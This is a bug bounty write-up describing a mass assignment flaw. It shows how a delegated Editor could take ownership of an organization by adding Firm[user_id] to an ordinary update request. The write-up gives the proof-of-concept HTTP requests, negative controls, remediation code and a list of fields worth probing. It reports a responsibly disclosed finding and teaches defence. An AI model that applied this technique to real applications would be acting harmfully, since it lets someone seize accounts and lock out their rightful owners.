From Editor to Owner: One Writable Field Was Enough to Take Over an Organization

Severity: High
Bounty: ~$315
Platform: Standoff365
This one came down to a single field that should never have been writable by an editor:
Firm[user_id]
The application had a clear permission model.
An organization owner could grant another user an Editor role. That editor could modify ordinary organization information, but they could not delete the organization and they were definitely not supposed to own it.
The backend enforced that distinction correctly in most places.
Before exploitation, my editor account had:
edit = true
delete = false
But the general organization update endpoint also accepted the internal ownership field Firm[user_id].
By setting that field to my own user ID, I could transfer ownership of the entire organization to myself.
After the request:
Original owner:
edit = false
delete = false
Former editor:
edit = true
delete = true
The original owner lost the organization.
The editor became the new owner.
Understanding the Permission Model
I tested this using several accounts I controlled.
The basic setup was:
Account A → Organization Owner
Account C → Attacker / Editor
Account B → Additional Administrator
I first created a disposable organization using Account A.
A simplified request looked like:
POST /v1/firm/create HTTP/2
Host: [REDACTED]
Authorization: Bearer [OWNER TOKEN]
Content-Type: application/x-www-form-urlencoded
Firm[name]=Ownership Transfer Security Test&
Firm[address]=Controlled test address&
Firm[type]=1
The server successfully created the organization.
Before assigning any permissions, I confirmed the expected authorization state.
For the owner:
GET /v1/firm/access?id=[FIRM_ID]&level=edit
returned:
true
and:
GET /v1/firm/access?id=[FIRM_ID]&level=delete
also returned:
true
For Account C:
GET /v1/firm/access?id=[FIRM_ID]&level=edit
returned:
false
Everything was behaving normally.
First Negative Control
Before granting the attacker any role, I tried modifying the organization from Account C.
I also included the suspected ownership field:
POST /v1/firm/update?id=[FIRM_ID] HTTP/2
Host: [REDACTED]
Authorization: Bearer [ACCOUNT C TOKEN]
Content-Type: application/x-www-form-urlencoded
Firm[name]=Ownership Transfer Security Test&
Firm[address]=Controlled test address&
Firm[type]=1&
Firm[user_id]=[ACCOUNT_C_USER_ID]
The server rejected it:
{
"status": 403,
"message": "[Access denied]",
"data": null
}
This was useful.
It showed that the endpoint was not simply unauthenticated or globally writable.
The attack depended on having legitimate edit permission first.
Granting Editor Access
Using the owner account, I assigned Account C the application's Editor role for the disposable organization.
The resulting permissions were:
Account C:
edit = true
delete = false
That was exactly what I expected from a delegated editor.
The editor could modify normal organization information, but ownership-level actions were still restricted.
At this point the intended trust boundary was clear:
Owner
├─ Edit
├─ Delete
└─ Ownership control
Editor
├─ Edit
└─ No delete / ownership control
Then I looked at what the edit endpoint actually accepted.
The Ownership Field
The ordinary update endpoint accepted parameters in the form:
Firm[...]
While testing additional writable properties, I found that it also accepted:
Firm[user_id]
That looked suspicious.
A field called user_id on the organization record could easily represent the owner.
So while authenticated as the Editor, I sent a normal update request and supplied my own account ID:
POST /v1/firm/update?id=[FIRM_ID] HTTP/2
Host: [REDACTED]
Authorization: Bearer [EDITOR TOKEN]
Content-Type: application/x-www-form-urlencoded
Firm[name]=Ownership Transfer Security Test&
Firm[address]=Controlled test address&
Firm[type]=1&
Firm[user_id]=[EDITOR_USER_ID]
The server returned success:
{
"status": 200,
"message": "[Organization updated]",
"data": null
}
That by itself was interesting.
But accepting an unexpected parameter does not automatically mean there is security impact.
I needed to verify what actually changed.
The Organization Disappeared From the Owner's Account
After the update, I checked the organization lists for both accounts.
The organization was gone from Account A's list.
It now appeared under Account C.
That strongly suggested that Firm[user_id] really was the ownership field.
I then repeated the backend authorization checks.
Before exploitation:
Account A:
edit = true
delete = true
Account C:
edit = true
delete = false
After exploitation:
Account A:
edit = false
delete = false
Account C:
edit = true
delete = true
The editor had gained deletion permission.
The original owner had lost both edit and delete permission.
This was not a UI glitch or a misleading organization list.
The backend authorization model itself now treated the former editor as the owner.
The Complete Attack Flow
The vulnerability could be reduced to:
Owner grants attacker Editor role
↓
Attacker legitimately receives edit permission
↓
Attacker calls ordinary /firm/update endpoint
↓
Attacker supplies Firm[user_id]=their_own_id
↓
Backend updates organization owner
↓
Original owner loses access
↓
Editor becomes owner
↓
Editor gains delete and owner-level permissions
The security boundary was supposed to be:
Editor → Can edit organization data
Instead it became:
Editor → Can edit organization data
→ Can edit owner field
→ Can become owner
Why This Was a Privilege Escalation
The attacker was not an unrelated external user.
They already needed an Editor role.
That matters when evaluating the vulnerability.
But the entire purpose of delegated roles is to give someone limited access without giving them ownership.
An owner might reasonably allow another employee, contractor, or partner to:
update organization information
change descriptions
maintain addresses
manage ordinary profile data
without allowing that person to:
seize ownership
remove the original owner
gain deletion rights
override other administrators
The vulnerability completely broke that boundary.
It turned:
Delegated Editor
into:
Full Organization Owner
using the same endpoint the editor was legitimately allowed to call.
Testing Another Administrator
I wanted to know what happened when the organization had more than just an owner and an editor.
So I created another disposable organization with:
Account A → Owner
Account C → Editor
Account B → Administrator
Before exploitation:
Account C:
edit = true
delete = false
Account B:
delete = true
Account A:
delete = true
I also confirmed that Account C could not directly modify or delete Account B's administrator role.
Then, as Account C, I performed the same ownership transfer:
POST /v1/firm/update?id=[FIRM_ID] HTTP/2
Host: [REDACTED]
Authorization: Bearer [EDITOR TOKEN]
Content-Type: application/x-www-form-urlencoded
Firm[name]=Administrator Impact Security Test&
Firm[address]=Controlled test address&
Firm[type]=1&
Firm[user_id]=[EDITOR_USER_ID]
The transfer succeeded.
Afterward:
Account C:
edit = true
delete = true
Account A:
delete = false
Account B:
delete = false
Interestingly, Account B's administrator role record still existed.
But its effective permissions were gone.
So stealing ownership did more than affect the original owner.
It also changed the effective authorization state of other delegated users attached to the organization.
Isolating the Vulnerable Parameter
I tested several similar-looking fields to make sure I had identified the correct one.
The following did not transfer ownership:
Firm[owner_id]
Firm[group_id]
Firm[firm_id]
Another candidate:
Firm[parent_id]
was rejected.
Only:
Firm[user_id]
produced the ownership change.
I also minimized the request to ensure the state change was tied specifically to that field.
This made the root cause much clearer.
More Negative Controls
I performed several controls before considering the finding complete.
An unrelated authenticated user with no role:
POST /v1/firm/update
→ 403
A user with a view-only role:
POST /v1/firm/update
→ 403
The Editor before exploitation:
edit = true
delete = false
The same Editor after submitting Firm[user_id]:
edit = true
delete = true
The original owner after exploitation:
edit = false
delete = false
This showed that the issue required legitimate edit access but allowed that access to be escalated into ownership.
What Actually Failed
The problem was classic mass assignment combined with broken authorization.
The backend accepted an entire client-controlled Firm object during an ordinary edit operation.
Conceptually, the vulnerable code may have looked something like:
$firm->load($_POST['Firm']);
$firm->save();
If user_id was included among writable attributes, an Editor could modify it just like the organization's name or address.
The server checked whether the user had permission to edit the organization.
But after passing that check, it allowed the Editor to modify an ownership-sensitive field.
The authorization logic was effectively:
Can user edit this organization?
↓
Yes
↓
Allow modification of every accepted Firm field
What it should have been was:
Can user edit this organization?
↓
Yes
↓
Allow only fields permitted for Editors
↓
Preserve immutable ownership fields
Ownership is not ordinary profile data.
It should never have been part of a general-purpose editor-controlled update model.
Impact
A malicious or compromised Editor could take permanent control of an organization they were only supposed to help manage.
The demonstrated impact included:
unauthorized ownership transfer
vertical privilege escalation from Editor to Owner
loss of access for the original owner
acquisition of deletion rights
control over organization configuration and management
disruption of other delegated administrators
bypass of the intended role hierarchy
This is particularly dangerous because the attacker begins with legitimate access.
Nothing about an Editor updating organization details would necessarily look unusual until ownership had already changed.
Reporting and Triage
I submitted the finding with the full multi-account PoC, backend permission checks, negative controls, and the additional administrator-impact validation.
The program first moved the report into vendor review.
A few days later, they confirmed the behavior:
A user with the Editor role could transfer ownership of another user's organization to themselves through the
Firm[user_id]field.
They also confirmed the post-exploitation impact:
the original owner lost access
the former Editor received owner-level permissions
deletion rights were gained
The report was accepted as High severity.
The bounty was ₽25,000, approximately $315 at the time of the award.
The issue was then passed to the responsible team for remediation.
Remediation
The most important fix is to remove ownership fields from the general organization update model entirely.
An Editor should never be able to submit:
Firm[user_id]
and have it affect ownership.
The backend should instead preserve the existing owner when processing ordinary edits.
Conceptually:
$firm->name = $request->name;
$firm->address = $request->address;
$firm->type = $request->type;
// Never taken from an editor-controlled request
// $firm->user_id = $request->user_id;
If ownership transfer is a legitimate feature, it should use a dedicated workflow with stronger controls.
For example:
Current owner initiates transfer
↓
Reauthentication
↓
Receiving user confirms
↓
Ownership changes
↓
Both parties notified
↓
Audit event recorded
Ownership should never change as a side effect of editing an organization's normal metadata.
Hunter Takeaways
Look for Ownership Fields in Ordinary Update Requests
Whenever an application lets lower-privileged users edit an object, inspect which attributes the backend accepts.
Interesting fields often include:
user_id
owner_id
account_id
organization_id
role_id
created_by
admin_id
If the application blindly mass-assigns them, an ordinary edit endpoint can become a privilege-escalation endpoint.
Permission Checks at the Endpoint Are Not Enough
This endpoint did perform authorization.
An unrelated user received a 403.
That might make the implementation look secure at first.
The problem existed one layer deeper.
The Editor was legitimately allowed to call the endpoint, but the backend failed to restrict which properties an Editor was allowed to modify.
Authorization needs to consider both:
Can this user perform this action?
and:
Can this user modify this specific field?
Verify the State Change Through Backend Permissions
After the update succeeded, I did not rely only on the UI.
I checked:
edit
delete
permissions from both accounts.
That proved the backend had actually transferred ownership.
This distinction matters.
A firm appearing under another user's dashboard is interesting.
The original owner losing backend authorization while the Editor gains delete rights is much stronger evidence.
Use Negative Controls
The negative controls were important here because they showed exactly where the privilege boundary failed.
Without a role:
403
With view-only access:
403
With Editor access:
Update permitted
With Editor access plus Firm[user_id]:
Ownership transferred
That isolates the bug far better than simply showing a successful malicious request.
Test the Effect on Other Roles
Privilege-escalation findings can affect more than the victim owner.
In this case, another administrator's role record survived the transfer, but their effective permissions disappeared.
Testing the wider authorization model helped show that ownership was a central security boundary rather than just a cosmetic account field.
Final Thoughts
The endpoint was supposed to allow Editors to update organization information.
It did that correctly.
The mistake was allowing the same user-controlled object to include:
Firm[user_id]
The full chain was:
Legitimate Editor access
↓
Writable ownership field
↓
Firm[user_id]=attacker
↓
Organization transferred
↓
Original owner loses access
↓
Editor gains owner and delete permissions
This is why mass assignment bugs can become much more serious when authorization-sensitive fields are mixed with ordinary editable properties.
The endpoint did not fail because it allowed the Editor to edit.
It failed because it never decided where editing should stop.





